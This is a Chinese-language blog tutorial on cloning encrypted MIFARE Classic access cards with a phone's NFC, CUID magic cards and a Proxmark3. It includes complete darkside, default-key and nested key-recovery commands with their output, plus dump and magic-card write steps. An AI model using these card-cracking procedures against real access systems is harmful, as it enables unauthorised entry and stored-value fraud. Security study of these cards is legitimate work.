资讯详情

NFC手机模拟加密门禁卡

记录小米手机NFC模拟加密门禁卡和Proxmark3的使用。

0. 缘起

以前社区使用的门禁卡是非加密门禁卡,可以复制小米手机系统自带的门卡模拟功能。 后来,社区门禁系统改变了供应商,然后使用以前的方法复制门禁卡,手机提示加密卡,无法复制。

新的门禁系统更安全,更支持APP远程控制开门,直到有一天门禁卡丢失,开始使用APP开门,发现这个APP写得烂透了,十次有五次点击开门按钮没有反应,需要反复退出,打开APP多次点击开门按钮成功,两次直接没有开门按钮,提示物业管理处理…… 当时,我又开始怀念用手机刷门禁的乐趣。

1. 基础知识

于是,我开始查阅资料,基本确定小米手机是否可以通过其他方式模拟加密门禁卡。 然后,查了太多的资料,记不住了,又怕以后需要重新找,干脆用一个博客记录下来。 如果熟悉NFC和IC卡,或者只想模拟加密门禁卡,不在乎原理,这一章可以跳过,直接看下一章。

1.1 ID卡和IC卡

  • :全称身份识别卡(Identification Card),多为(125Khz),是一种的感应卡,,主要有台湾SYRIS的EM格式,美国HID、TI、MOTOROLA等各类ID卡。
  • :集成电路卡的全称(Integrated Circuit Card),又称智能卡(Smart Card)。多为(13.56Mhz),、目前,一卡通系统、消费系统等数据记录可靠,使用方便。PHILIPS的Mifare系列卡。

芯片制造商一次性写入,开发商只能读取卡号使用,不能根据系统的实际需要制定新的数字管理系统;

IC卡在身份证、银行、电信、公共交通、车场管理等领域得到了越来越多的应用,如第二代身份证、银行电子钱包、电信手机等SIM公交卡、地铁卡、收取停车费的停车卡、社区门禁卡等。

以上图片来自淘宝商家,我在网上找了很长时间的相关信息,发现淘宝商家解释得最清楚。

1.ID卡多为低频,IC多为高频; 2.IC卡片整体上看比较ID卡更有优势,市场上使用的大部分也是IC卡; 3.对于矩形白卡,大部分是矩形线圈,表面没有编号IC卡,里面是圆形线圈,表面有编号ID卡; 4.对于异形卡,大多数都有编号ID最好用带卡NFC测试手机(目前手机NFC只能读高频13.56Mhz),IC卡会有反应;

1.2 接触式和非接触式IC卡

IC又可分为接触式IC卡和非接触式IC卡。

  • :这种卡是通过的IC卡读写设备的触点及IC接触卡触点后读写数据;
  • :又称射频卡,感应式IC该卡与卡设备无电路接触,而是通过非接触式读写技术(如RFID、NFC),其内嵌芯片除外CPU、除了逻辑单元和存储单元外,还增加了射频收发电路。这种卡通常用于使用频繁、信息量相对较少、可靠性要求高的场合。

两者更容易区分,直接看卡上是否有金属触点。

1.3 RFID和NFC

有两种常见的非接触式读写技术:RFID技术和NFC技术。

  • 1.通常用于生产、物流、跟踪和资产管理; 2.低频和高频按频率划分(13).56MHz)、超高频、微波等; 3.功能距离取决于频率、读写器功率、读写器天线增益值、标签天线尺寸等,工作距离从几厘米到几十米不等; 4.读写器和非接触卡可以是一对多或一对一;读写器和非接触卡是两个实体,不能切换;

  • 1.通常用于门禁、公交卡、手机支付等领域; 2.频率也是13.56MHz,大部分都兼容RFID高频相关标准(有的不兼容); 3.NFC作用距离较短,一般都是0~10厘米; 4.读写器和标签几乎是一对一的;并支持读写模式和卡模式,可作为读写器或非接触卡;

总体来说,NFC是RFID的子集,但NFC又有一些新的特点RFID没有。

1.4 ID卡类型

ID低频(125Khz),根据卡中使用的芯片不同,分类如下:

  • EM4XX系列,多为EM4100/EM4102卡,常用固化ID卡,,只能读不能写;常用于低成本门禁卡、社区门禁卡、停车场门禁卡;

  • EM4305或T克隆可用于5577ID卡,,内部EEPROM可读可写,修改卡内EEPROM可以修改卡对外的内容ID实现普通复制ID卡的目的; T5577写入ID号码可以变成ID卡,写入HID号可以变身HID卡,写入Indala卡号,可变身Indala卡

  • 全称HID ProxⅡ,美国常用的低频卡,,不与其他卡通用;

1.5 IC卡类型

IC卡中最常见的是NXP Mifare高频(13)系列卡工作.56Mhz),根据卡中使用的芯片不同,分类如下:

  • 全称Mifare S50是最常见的卡,(UID即指卡号,全球唯一),可存储修改数据;常用于学生卡,饭卡,公交卡,门禁卡;

  • 全称Mifare UltraLight,相当于M精简版1卡,容量小,功能少,但价格低,,可存储修改数据;常用于地铁卡、公交卡;

以上两种固化UID,对于正规卡,下一步是一些没有固化UID,即非正规卡:

  • 全称Mifare UID Chinese magic card,国外叫中国魔术卡,M变异版1卡,(UID在block0分区),可用于完全克隆M1卡的数据; 但现在新的读卡系统可以通过检测卡对后门指令的回应来检测到UID卡,所以可以拒绝UID访问卡以屏蔽复制卡(即UID防火墙系统);

  • 为了避开UID防火墙系统,CUID卡应运而生,,是目前市场上最常用的复制卡; 在过去的两年里,智能卡系统制造公司CUID研发出卡的特性CUID卡防火墙,虽然现在(2019年)不是很受欢迎,但总有一天CUID卡会和UID卡也面临淘汰;

  • ,完成后自动固化UID分区等同M1卡,目前任何防火墙系统都无法屏蔽,复制的卡几乎和原卡一模一样; 但缺点也比较明显,价格高,写坏卡率高,写错了就废卡。

  • 集UID卡和FUID卡的优点在于一身,。 可以反复读写UID,确认数据正确,手动锁卡变成M1,解决了UID卡的UID还解决了防火墙的屏蔽问题FUID一次性写入容易出错,价格比FUID卡还便宜;

判断是M0卡(Mifare UltraLight),还是M1卡(Mifare Classic 1k),可以通过SAK值判断。

产品 ATQA SAK UID长度
Mifare ini 00 04 09 4 bytes
Mifare Classic 1k 00 04 08 4 bytes
Mifare Classic 4k 00 02 18 4 bytes
Mifare Ultraligh 00 44 00 7 bytes
Mifare Plus 00 44 20 7 bytes

1.6 IC卡详细分析

1.6.1 IC卡存储器结构

以M1卡为例,介绍IC卡数据结构。 M1卡有从0到15共16个扇区,每个扇区配备了从0到3共4个数据段,每个数据段可以保存16字节的内容; 每个扇区中的段按照0~3编号,第4个段中包含KEYA(密钥A 6字节)、控制位(4字节)、KEYB(密钥B 6字节),每个扇区可以通过它包含的密钥A或者密钥B单独加密;

 

 

  • 每张M1卡都有一个全球唯一的UID号,这个UID号保存在卡的第一个扇区(0 扇区)的第一段(0 编号数据段),也称为厂商段。 其中前4个字节是卡的UID,第5个字节是卡 UID 的校验位,剩下的是厂商数据。 并且这个段在出厂之前就会被设置了写入保护,只能读取不能修改,前面各种能修改UID的卡,UID是没有设置保护的,也就是厂家不按规范生产的卡。

 

 

  • 除了第0扇区外,其它每个扇区都把段0、段1、段2作为了数据段,用于保存数据。 数据段的数据类型可以被区尾的控制位(Access Bits)配置为(用于譬如无线访问控制)或者(用于譬如电子钱包)。 值段有固定的存储格式,只能在值段格式的写操作时产生,值段可以进行错误检测和纠正并备份管理,其有效命令包括读、写、加、减、传送、恢复,值段格式如下:

 

 

Value表示一个带符号4字节值,为了保证数据的正确性和保密性,值被保存了3次,两次直接保存,一次取反保存。该值先保存在0字节-3字节中,然后将取反的字节保存在4字节-7字节中,还保存了一次在8字节-11字节中。Adr表示一个字节的地址,当执行备份管理时用于保存存储段的地址。地址字节保存了4次,取反和不取反各保存了2次。在执行加值、减值、恢复和传送等操作时,地址保持不变,它只能通过写命令改变。

  • 每个扇区都有一个区尾控制段,它包括密钥A和密钥B(可选),以及本扇区四个段的访问控制位 (Access bits);访问控制位也可用于指出数据段的类型(为读/写段还是值段);控制段的存储格式如下:

 

 

如果不需要密钥B,那么区尾的最后6个字节可以作为数据字节,用户数据可以存储在区尾的第9个字节,这个字节具有和字节6、7、8一样的访问权限。

1.6.2 IC卡访问存储器

  • 根据的不同,数据段所支持的存储器操作也不同,存储器的操作类型如下:

 

 

可以看到只有作为值段时,才能加、减、传送、恢复。

  • 每个数据段和区尾的访问条件由3个位来定义,它们以取反和不取反的形式保存在区尾指定字节中。 访问位控制了使用密钥A和B操作存储器的权限,当知道相关的密钥和当前的访问控制条件时,可以修改访问条件,各区的访问位定义如下:

 

 

 

 

  • 根据区尾(段 3)访问位的不同,访问条件可分为 “从不”、“密钥A”、“密钥B” 或“密钥A|B”(密钥A或密钥B),区尾的访问条件如下:

 

 

用灰色标明的行是密钥B可被读的访问条件,此时密钥B可以存放数据。 例如:当段3的访问条件C13C23C33=100时,表示:密钥 不可读(隐藏),验证密钥B正确后,可写(或更改);访问控制位在验证密钥A或密钥B正确后,可读不可写(写保护);密钥B不可读,在验证密钥 B 正确后可写; 又如:当段3的访问条件C13C23C33=110或者111时,除访问控制位需要在验证密钥A或密钥B正确后可读外,其他如访问控制位的改写,密钥 A,密钥 B 的读写权限均被锁死而无法访问;

  • 根据数据段(段 0-2 访问位的不同,访问条件可分为 “从不”、“密钥A ”、“密钥B ” 或“密钥A|B”(密钥A或密钥B)。 相关访问位的设置定义了该段的应用(或者说数据段类型)以及所支持的应用命令,不同的数据段类型可以进行不同的访问操作。 读/写段可以进行读操作和写操作。值段可以进行加、减、传送和恢复的值操作。 其中一种情况中(001)只能对不可再充电的卡进行读操作和减操作,另一种情况中(110)使用密钥B可以再充电。 厂商段无论设置任何的访问位都只是只读的, 数据段的访问条件如下:

 

 

如果密钥B可以在相应的区尾被读出,它就不能用于确认(在前面所有表中的灰色行)。如果读卡器要用这些(带灰色标记的)访问条件的密钥B确认任何段,卡会在确认后拒绝任何存储器访问操作。

1.6.3 举例说明

Mifare S50出厂时,访问控制字节(字节6-字节9)被初始化为“FF 07 80 69”,KEY A和KEY B的默认值为“FF FF FF FF FF FF” ; 字节6为FF,二进制为1111111;字节7为07,二进制为00000111;字节8为80,二进制为10000000,如下:

 

 

对照前面的访问位在区尾的存储形式图,可得知访问控制位为: C10C20C30=000;C11C21C31=000;C12C22C32=000;C13C23C33=001。

C10C20C30、C11C21C31、C12C22C32对应数据段0、1、2,参考数据段的访问条件图即可得知该段三个数据区的访问权限; C13C23C33对应区尾(段 3),参考区尾的访问条件图即可得知该段的访问权限;

块0控制位为:0 0 0 权限为:通过A或者B密码认证后可读,可写,可进行加值和减值操作; 块1控制位为:0 0 0 权限为:通过A或者B密码认证后可读,可写,可进行加值和减值操作; 块2控制位为:0 0 0 权限为:通过A或者B密码认证后可读,可写,可进行加值和减值操作; 块3控制位为:0 0 1 权限为:A密码不可读,验证A或者B密码后可改写A密码;验证A或者B密码后,可读可改写存取控制;验证A密码或者B密码后,可读可改写B密码;

这样每次换算还是有点麻烦,可以使用M1 S50卡控制字节生成工具快速换算:

 

 

最下面一行可以输入想解释的控制字,也可以根据上面的设置生成控制字; 最上面一行,左边是数据段0、1、2的访问控制位,右边是对应权限所需要的秘钥; 中间的一行,左边是区尾的访问控制位,右边是对应权限所需要的秘钥;

1.7 非加密IC卡和加密IC卡

非加密IC卡和加密IC卡的区别就是,非加密IC卡中所有扇区的KEYA和KEYB数值都是默认值FFFFFFFFFFFF; 而加密IC卡中,其中有扇区的KEYA和KEYB不等于FFFFFFFFFFFF,部分扇区加密的卡称半加密IC卡,所有扇区都加密的卡称全加密IC卡。

一般的读卡器,像手机的NFC,是读不到IC卡的加密数据的,需要用专门的工具,比如Proxmark3读取。

对于IC卡,除了对卡上数据加密,还有滚动码加密、服务器数据验证等技术。 因此,对IC卡的解密,更多的是门禁卡、签到卡、车库卡等的讨论,像公交卡、饭卡等涉及到资金问题的,基本都有服务器定期校验,得先搞定服务器再说,难度高还违法。

参考资料:码农生活 篇二:IC卡门卡模拟探秘IC卡简介【M1/S50,UID,CUID,FUID,UFUID复制卡介绍】谈谈 Mifare Classic 破解rfid-practiceType A 卡存储结构与通信Proxmark3 Easy破解门禁卡学习过程

2. 手机NFC模拟加密门禁卡

有了前面的知识,再来看现在我的加密门禁卡情况,手机能识别为加密卡,肯定是IC卡。

首先,加密卡在目前这个情况下是无法解密的,如果按照下面的操作失败,请参考下一章。,利用这一情况,可以试试复制门禁卡的UID,看运气能否打开门。

在已root的情况下,直接使用APP NFC卡模拟 便可读取加密卡的UID和非加密数据、并写UID到手机NFC里。 在未root的情况下,使用小米系统自带的门卡模拟功能,出于安全考虑,是不能对加密卡进行任何操作。手机的NFC,理论上可以读加密IC卡的UID,因此可以使用第三方软件MifareClassicTool读取UID,因为没有root,不能写手机NFC,但可以写IC卡,因此还,某宝上一块多一张,思路就是

  • 打开软件Mifare Classic Tool,将加密门禁卡放到手机的NFC感应区域,识别到IC卡后,点击“工具”->“显示标签信息”,可以看到加密门禁卡的8个数字,4字节的UID。 注意,在16进制里,每个数字为4位(2^4=16),8位(bits)为一字节(bytes),即两个数字组成一字节,这里8个数字,即为4字节(Bytes)。 前8个数字,每个数字代表4位,8位为一字节,8个数字就是32位,即4字节 接着打开“工具”->“BCC计算器”,输入UID,得到1位BBC(两个数字)校验数据。

 

 

  • 将CUID卡放到手机的NFC感应区域,识别到IC卡后,点击“读标签”->“启动映射并读取标签”,即可得到CUID白卡的所有信息。 接着修改第一行的前10个数字,改为加密门禁卡的UID(8个数字)和BCC(2个数字),一共10个数字,并点右上角保存图标保存。

 

 

  • 再将CUID卡放到手机的NFC感应区域,识别到IC卡后,点击“写标签”,勾选“写转储(克隆)”->“显示选项”->“高级:使能厂商块写入”。 再点击“选择转储”,选择刚才保存的数据,点击“选择转储”。

 

 

在弹出的选择写扇区界面,默认即可,点击“好的”,最后点击“启动映射并写转储数据”。

 

 

  • 最后,使用小米手机系统自带的门卡模拟功能,复制刚才写入新UID的CUID卡即可。

接着,就看运气吧,我小区的门禁系统就只认UID,搞定。

参考资料:如何用小米NFC手机模拟加密卡(的部分功能)

3. Proxmark3解密门禁卡

先理一下技术原理: 1.对于未加密的IC卡,直接读出UID,写入空白卡即可;也就是我最开始那个门禁系统; 2.对于加密的IC卡,先读取UID,写入空白卡,如果门禁只认UID,也就可以了;也就是我现在的门禁系统; 3.越来越多的门禁,不再只看UID,还要看分区的加密数据,这个加密数据,一般的读卡器读不出来(比如手机NFC),需要Proxmark3、ACR122U等专业读卡器,利用漏洞把卡里的数据读取出来。这里读取出来时,就已经是16进制的数据了,一般门禁系统,把UID和加密数据直接写入新卡即可; 4.接着前面情况,如果不是门禁系统而是饭卡,余额的变化,就是加密数据在不断的变化,此时读取出来数据,对数据分析后,写入新数据,即实现了修改余额的效果,不过一般都有服务器定期验证,发现没有充卡记录但余额变化,迟早会发现问题; 5.如果是高级点的门禁,比如某些电梯卡,采用动码技术,卡前后的数据会发生变化,而且每次变化都没规律,复制后用新卡,原卡就不能再用了,否则原卡前后数据不一样,可能会被拉进黑名单锁卡;需要破解滚动码的加密规则,才能自由写卡; 6.Proxmark3、ACR122U都是工具,功能是利用IC卡漏洞,读取加密区域数据,同时也能写卡,具体的数据的修改规则,得自己研究;两个工具的区别是Proxmark3可以写高频和低频(IC卡和ID卡),而ACR122U只能读写高频(IC卡); 7.NXP Mifare系列卡,即便数据全加密,Proxmark3也能直接解出来;国产卡全加密后,需要先侦测个密码,再用Proxmark3才能解出来,这里的密码可以使用变色龙(ChameleonMini)去刷卡的地方侦测密码,成功率更高; 8.另外,进行学习研究是好事,在不危害他人利益的情况下方便自己问题也不大,危害他人利益肯定违法犯罪,切勿以身试法,参考此文进行犯罪的相关人员与本人无关;

常规IC卡破解流程如下:

 

 

Proxmark3是由Jonathan Westhues设计的开源硬件,主要用于他的硕士毕业论文。 现在某宝卖的Proxmark3,都是国内厂商参考源硬件制作出来,我手里这台Proxmark3 V5.0也是来自某宝,内存512K,双USB口,已刷好目前最新稳定版的冰人固件3.1.0。

 

 

Proxmark3除了官方的固件,还有不少第三方固件,这些固件中,以Iceman的固件最流行,除此之外,卖家送的资料里还有离线嗅探固件用于侦测密码,设计的双USB的用意,也是为此。

3.1 PM3常用指令(部分)

PM3 Universal GUI是客户端软件,用于Windows上向Proxmark3发送命令。

 

 

左上角需要选择对应的串口端口,左边是命令介绍,可以点击所需命令,将自动出现在输入框,点击Run则执行。

3.1.1 help主帮助命令

命令 介绍
help 显示帮助
data 图形窗口/缓冲区数据操作等
exit 退出Proxmark3的终端环境
hf 高频相关命令
hw 硬件检测相关命令
lf 退出Proxmark3的终端环境等同exit

3.1.2 hw硬件检测相关命令

命令 介绍
detectreader [‘l’/‘h’] –检测外部读卡器频率区域(选项“l”或“h”限制到低频LF或高频HF)
fpgaoff 设置FPGA为关闭
readmem 从芯片中读取10进制地址的存贮器
reset 重置Proxmark3
setlfdivisor <19 255="" -=""> – 在12Mhz/(基数+1)驱动LF天线
setmux – 设置ADC多路复用器为一个特定的值
tune 测量天线的调谐
version 显示Proxmark3的固件版本信息
status 显示Proxmark3状态信息
ping 测试Proxmark3连接是否正常

3.1.3 lf低频相关命令

命令 介绍
cmdread <’0’> <’1’> <命令> [‘h’] – 在读取之前发送命令来调整LF读卡器周期(以微妙为单位)(’h’选项为134)
em4x EM4X卡类相关命令…
flexdemod 解调FlexPass样本
hid HID卡类相关命令…
indalademod [‘224’] –解调Indala样本的64位UID(选项’224’是224位)
indalaclone UID] [‘l’]– 克隆Indala到T55x7卡 (标签必须在天线上)(UID为16进制)(选项’l’表示224位UID)
read [‘h’] – 读取125/134 kHz的低频ID标签(选项’h’是134)
sim [GAP] – 从可选GAP的缓冲区模拟低频标签(以微秒为单位)
simbidir 模拟低频标签(在读卡器和标签之间双向传输数据)
simman <时钟> <比特率> [GAP] 模拟任意曼彻斯特低频标签
ti TI卡类相关命令…
hitag Hitag标签与应答相关…
vchdemod [‘clone’] - 解调VeriChip公司样本
t55xx T55xx卡类相关命令…
PCF7931 PCF7931卡类相关命令…

3.1.4 hf高频相关命令

命令 介绍
14a ISO14443A卡的相关命令…
14b ISO14443B卡的相关命令…
15 ISO15693卡的相关命令…
epa 德国身份证的相关命令…
legic LEGIC卡的相关命令…
iclass ICLASS卡的相关命令…
mf MIFARE卡的相关命令…
tune 连续测量高频天线的调谐

支持的高频卡很多,最常用的是MIFARE卡,因此暂只详细介绍下MIFARE卡的命令。

命令 介绍
dbg 设置默认调试模式
rdbl 读取MIFARE classic卡的区块数据
rdsc 读取MIFARE classic卡的扇区数据
dump 导出MIFARE classic卡的数据到二进制文件
restore 从二进制文件恢复数据到空白的MIFARE classic卡
wrbl 改写MIFARE classic卡的区块数据
chk 测试MIFARE classic卡的各个区块KEY A/B
darkside 基于PRNG漏洞,执行mifare “DarkSide”攻击操作
nested 测试嵌套认证漏洞,基于一个已知Key,获取都有扇区Keys
sniff 嗅卡片与读写器之间的通讯(等同于hf 14a snoop)
sim 模拟一个MIFARE卡片
eclr 清除仿真内存的各区块数据
eget 获取仿真内存的各区块数据
eset 设置仿真内存的各区块数据
eload 从导出的文件加载仿真数据
esave 导出保存仿真数据到文件
ecfill 利用仿真器的keys来填补仿真内存
ekeyprn 打印输出仿真内存中的keys
csetuid 直接设置可改UID卡的UID
csetblk 把对应区块数据写入UID卡
cgetblk 读取UID卡对应区块数据
cgetsc 读取UID卡对应扇区数据
cload 写入dump数据到UID卡
csave 保存UID卡数据到文件或者仿真内存

参考资料:PM3常用命令

3.2 破解加密门禁卡

3.2.1 破解思路

  • 1.获得任意扇区的密钥(使用以下任一方法成功即可):  a.PRNG漏洞攻击得0扇区密匙,对应命令:hf mf darkside;  b.默认密码扫描获得密匙,对应命令:hf mf chk *1 ? t d;  c.探读卡机和卡片交互数据获得密匙;  d.模拟成M1卡刷卡后捕获密匙(挑读卡机,兼容性不好);

举例:

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

 

pm3 --> hf mf chk

Usage: hf mf chk [h] <block number>|<*card memory> <key type (A/B/?)> [t|d] [<key (12 hex symbols)>] [<dic (*.dic)>]

Options:

h this help

* all sectors based on card memory, other values then below defaults to 1k

0 - MINI(320 bytes)

1 - 1K

2 - 2K

4 - 4K

d write keys to binary file

t write keys to emulator memory

Examples:

hf mf chk 0 A 1234567890ab keys.dic -- target block 0, Key A

hf mf chk *1 ? t -- target all blocks, all keys, 1K, write to emul

hf mf chk *1 ? d -- target all blocks, all keys, 1K, write to file

pm3 --> hf mf chk *1 ? t d

No key specified, trying default keys

[ 0] ffffffffffff

[ 1] 000000000000

[ 2] a0a1a2a3a4a5

[ 3] b0b1b2b3b4b5

[ 4] c0c1c2c3c4c5

[ 5] d0d1d2d3d4d5

[ 6] aabbccddeeff

[ 7] 1a2b3c4d5e6f

[ 8] 123456789abc

[ 9] 010203040506

[10] 123456abcdef

[11] abcdef123456

[12] 4d3a99c351dd

[13] 1a982c7e459a

[14] d3f7d3f7d3f7

[15] 714c5c886e97

[16] 587ee5f9350f

[17] a0478cc39091

[18] 533cb6c723f6

[19] 8fd0a4f256e9

Time in checkkeys: 0 seconds

testing to read key B...

|---|----------------|---|----------------|---|

|sec|key A |res|key B |res|

|---|----------------|---|----------------|---|

|000| ------------ | 0 | ------------ | 0 |

|001| ------------ | 0 | ------------ | 0 |

|002| ------------ | 0 | ------------ | 0 |

|003| ------------ | 0 | ------------ | 0 |

|004| ------------ | 0 | ------------ | 0 |

|005| ------------ | 0 | ------------ | 0 |

|006| ------------ | 0 | ------------ | 0 |

|007| ------------ | 0 | ------------ | 0 |

|008| ------------ | 0 | ------------ | 0 |

|009| ------------ | 0 | ------------ | 0 |

|010| ------------ | 0 | ------------ | 0 |

|011| ------------ | 0 | ------------ | 0 |

|012| ------------ | 0 | ------------ | 0 |

|013| ------------ | 0 | ------------ | 0 |

|014| ------------ | 0 | ------------ | 0 |

|015| ------------ | 0 | ------------ | 0 |

|---|----------------|---|----------------|---|

Found keys have been transferred to the emulator memory

Printing keys to binary file hf-mf-4033B54A-key.bin...

Found keys have been dumped to file hf-mf-4033B54A-key.bin. 0xffffffffffff has been inserted for unknown keys.

hf mf chk *1 ? t d命令会使用默认密码扫描,含义如下:

 

1

2

3

4

 

*1: 第一个为检测块的编号,第二个为IC卡内存大小;

?: 检测秘钥是A还是B,或者两者;

t: 保存检测秘钥到Proxmark3内存;

d: 保存检测到秘钥到文件,默认文件名hf-mf-UID-key.bin

  • 2.利用MFOC漏洞,用已知扇区密匙求所有扇区密匙;

举例:

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

 

pm3 --> hf mf nested

Usage:

all sectors: hf mf nested <card memory> <block number> <key A/B> <key (12 hex symbols)> [t,d]

one sector: hf mf nested o <block number> <key A/B> <key (12 hex symbols)>

<target block number> <target key A/B> [t]

Options:

h this help

card memory - 0 - MINI(320 bytes), 1 - 1K, 2 - 2K, 4 - 4K, <other> - 1K

t transfer keys into emulator memory

d write keys to binary file `hf-mf-<UID>-key.bin`

Examples:

hf mf nested 1 0 A FFFFFFFFFFFF

hf mf nested 1 0 A FFFFFFFFFFFF t

hf mf nested 1 0 A FFFFFFFFFFFF d

hf mf nested o 0 A FFFFFFFFFFFF 4 A

pm3 --> hf mf nested 1 0 A FFFFFFFFFFFF d t

[+] Testing known keys. Sector count=16

[-] Chunk: 0.7s | found 31/32 keys (21)

[+] Time to check 20 known keys: 1 seconds

[+] enter nested attack

[+] target block: 4 key type: A -- found valid key [112233445566]

[-] Chunk: 0.7s | found 32/32 keys (1)

[+] time in nested: 2 seconds

[+] trying to read key B...

|---|----------------|---|----------------|---|

|sec|key A |res|key B |res|

|---|----------------|---|----------------|---|

|000| ffffffffffff | 1 | ffffffffffff | 1 |

|001| 112233445566 | 1 | ffffffffffff | 1 |

|002| ffffffffffff | 1 | ffffffffffff | 1 |

|003| ffffffffffff | 1 | ffffffffffff | 1 |

|004| ffffffffffff | 1 | ffffffffffff | 1 |

|005| ffffffffffff | 1 | ffffffffffff | 1 |

|006| ffffffffffff | 1 | ffffffffffff | 1 |

|007| ffffffffffff | 1 | ffffffffffff | 1 |

|008| ffffffffffff | 1 | ffffffffffff | 1 |

|009| ffffffffffff | 1 | ffffffffffff | 1 |

|010| ffffffffffff | 1 | ffffffffffff | 1 |

|011| ffffffffffff | 1 | ffffffffffff | 1 |

|012| ffffffffffff | 1 | ffffffffffff | 1 |

|013| ffffffffffff | 1 | ffffffffffff | 1 |

|014| ffffffffffff | 1 | ffffffffffff | 1 |

|015| ffffffffffff | 1 | ffffffffffff | 1 |

|---|----------------|---|----------------|---|

[+] saving keys to binary file hf-mf-4033B54A-key.bin...

hf mf nested 1 0 A FFFFFFFFFFFF d t命令用已知扇区密匙求所有扇区密匙,含义如下:

 

1

2

3

4

5

 

1: IC卡内存大小;

0: 块编号;

A: 秘钥类型;

d: 保存检测到秘钥到文件,默认文件名hf-mf-UID-key.bin

t: 保存检测秘钥到Proxmark3内存;

  • 3.用破解出的密匙把卡片数据读出导出电脑;

举例:

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

 

pm3 --> hf mf dump

|-----------------------------------------|

|------ Reading sector access bits...-----|

|-----------------------------------------|

|-----------------------------------------|

|----- Dumping all blocks to file... -----|

|-----------------------------------------|

[+] successfully read block 0 of sector 0.

[+] successfully read block 1 of sector 0.

[+] successfully read block 2 of sector 0.

[+] successfully read block 3 of sector 0.

[+] successfully read block 0 of sector 1.

[+] successfully read block 1 of sector 1.

[+] successfully read block 2 of sector 1.

[+] successfully read block 3 of sector 1.

[+] successfully read block 0 of sector 2.

[+] successfully read block 1 of sector 2.

[+] successfully read block 2 of sector 2.

[+] successfully read block 3 of sector 2.

[+] successfully read block 0 of sector 3.

[+] successfully read block 1 of sector 3.

[+] successfully read block 2 of sector 3.

[+] successfully read block 3 of sector 3.

[+] successfully read block 0 of sector 4.

[+] successfully read block 1 of sector 4.

[+] successfully read block 2 of sector 4.

[+] successfully read block 3 of sector 4.

[+] successfully read block 0 of sector 5.

[+] successfully read block 1 of sector 5.

[+] successfully read block 2 of sector 5.

[+] successfully read block 3 of sector 5.

[+] successfully read block 0 of sector 6.

[+] successfully read block 1 of sector 6.

[+] successfully read block 2 of sector 6.

[+] successfully read block 3 of sector 6.

[+] successfully read block 0 of sector 7.

[+] successfully read block 1 of sector 7.

[+] successfully read block 2 of sector 7.

[+] successfully read block 3 of sector 7.

[+] successfully read block 0 of sector 8.

[+] successfully read block 1 of sector 8.

[+] successfully read block 2 of sector 8.

[+] successfully read block 3 of sector 8.

[+] successfully read block 0 of sector 9.

[+] successfully read block 1 of sector 9.

[+] successfully read block 2 of sector 9.

[+] successfully read block 3 of sector 9.

[+] successfully read block 0 of sector 10.

[+] successfully read block 1 of sector 10.

[+] successfully read block 2 of sector 10.

[+] successfully read block 3 of sector 10.

[+] successfully read block 0 of sector 11.

[+] successfully read block 1 of sector 11.

[+] successfully read block 2 of sector 11.

[+] successfully read block 3 of sector 11.

[+] successfully read block 0 of sector 12.

[+] successfully read block 1 of sector 12.

[+] successfully read block 2 of sector 12.

[+] successfully read block 3 of sector 12.

[+] successfully read block 0 of sector 13.

[+] successfully read block 1 of sector 13.

[+] successfully read block 2 of sector 13.

[+] successfully read block 3 of sector 13.

[+] successfully read block 0 of sector 14.

[+] successfully read block 1 of sector 14.

[+] successfully read block 2 of sector 14.

[+] successfully read block 3 of sector 14.

[+] successfully read block 0 of sector 15.

[+] successfully read block 1 of sector 15.

[+] successfully read block 2 of sector 15.

[+] successfully read block 3 of sector 15.

[+] dumped 64 blocks (1024 bytes) to file hf-mf-4033B54A-data.bin

因为前面把秘钥保存到Proxmark3内存,这里就不需要指定秘钥文件,最后将生成hf-mf-UID-data.bin文件,里面就是IC卡的所有数据。

  • 4.放上UID/CUID空卡,把电脑中的数据写入卡中; Proxmark3不能识别、使用bin文件,需要转换成eml格式,可以使用PM3 Universal GUI提供的脚本转换。 举例:
     

    1

    2

    3

    4

    5

    6

     

    pm3 --> script run dumptoemul.lua -i hf-mf-4033B54A-data.bin -o 4033B54A.eml

    [+] Executing: dumptoemul.lua, args '-i hf-mf-4033B54A-data.bin -o 4033B54A.eml '

    Wrote an emulator-dump to the file 4033B54A.eml

    [+] Finished

script run命令将运行scripts目录下对应脚本,后面接的参数由脚本决定,可以打开脚本看说明,dumptoemul.lua脚本参数含义如下:

 

1

2

 

i: 指定待转换的bin文件;

o: 指定生成的eml文件名;

之后便会得到一个eml文件。

UID卡存在后门指令,无需知道秘钥即可实现读写。 CUID卡没有后门指令,验证对密码后才可修改内容,因此每次写CUID卡前,都需要按前面的方式先破解密码,才能利用密码写数据。 另外,如果不小心写错UID号的校验位,导致无法读卡,此时就无法修复,只能做废卡处理。 因此,如果是使用IC卡作为中介写到手环/手机,那么UID卡是最好的选择,无论怎么写,就算写错也能利用后门指令修复。如果是复制卡,卡作为最终目标,那么CUID不响应后门指令,可以通过UID防火墙,是不错的选择。

前面得到了卡数据文件4033B54A.eml,现在将其写到UID卡里。 举例:

 

1

2

3

4

 

pm3 --> hf mf cload 4033B54A

................................................................

[+] Loaded 64 blocks from file: 4033B54A.eml

注命令里传入的待写uml文件,不需要文件扩展名。 写完之后没有任何回显提示,可以使用hf mf cgetsc 0读出分区数据,再进行对比。

举例:

 

1

2

3

4

5

6

7

8

9

 

pm3 --> hf mf wrbl

Usage: hf mf wrbl <block number> <key A/B> <key (12 hex symbols)> <block data (32 hex symbols)>

Examples:

hf mf wrbl 0 A FFFFFFFFFFFF 000102030405060708090A0B0C0D0E0F

pm3 --> hf mf wrbl 0 A FFFFFFFFFFFF 01020304040804006263646566676869

--block no:0, key type:A, key:FF FF FF FF FF FF

--data: 01 02 03 04 04 08 04 00 62 63 64 65 66 67 68 69

isOk:01

hf mf wrbl命令会根据传入的秘钥,修改数据:

 

1

2

3

4

 

0: 指定修改第0分区;

A: 指定秘钥为A类型;

FFFFFFFFFFFF: 指定该秘钥;

000102030405060708090A0B0C0D0E0F: 指定修改的数据;

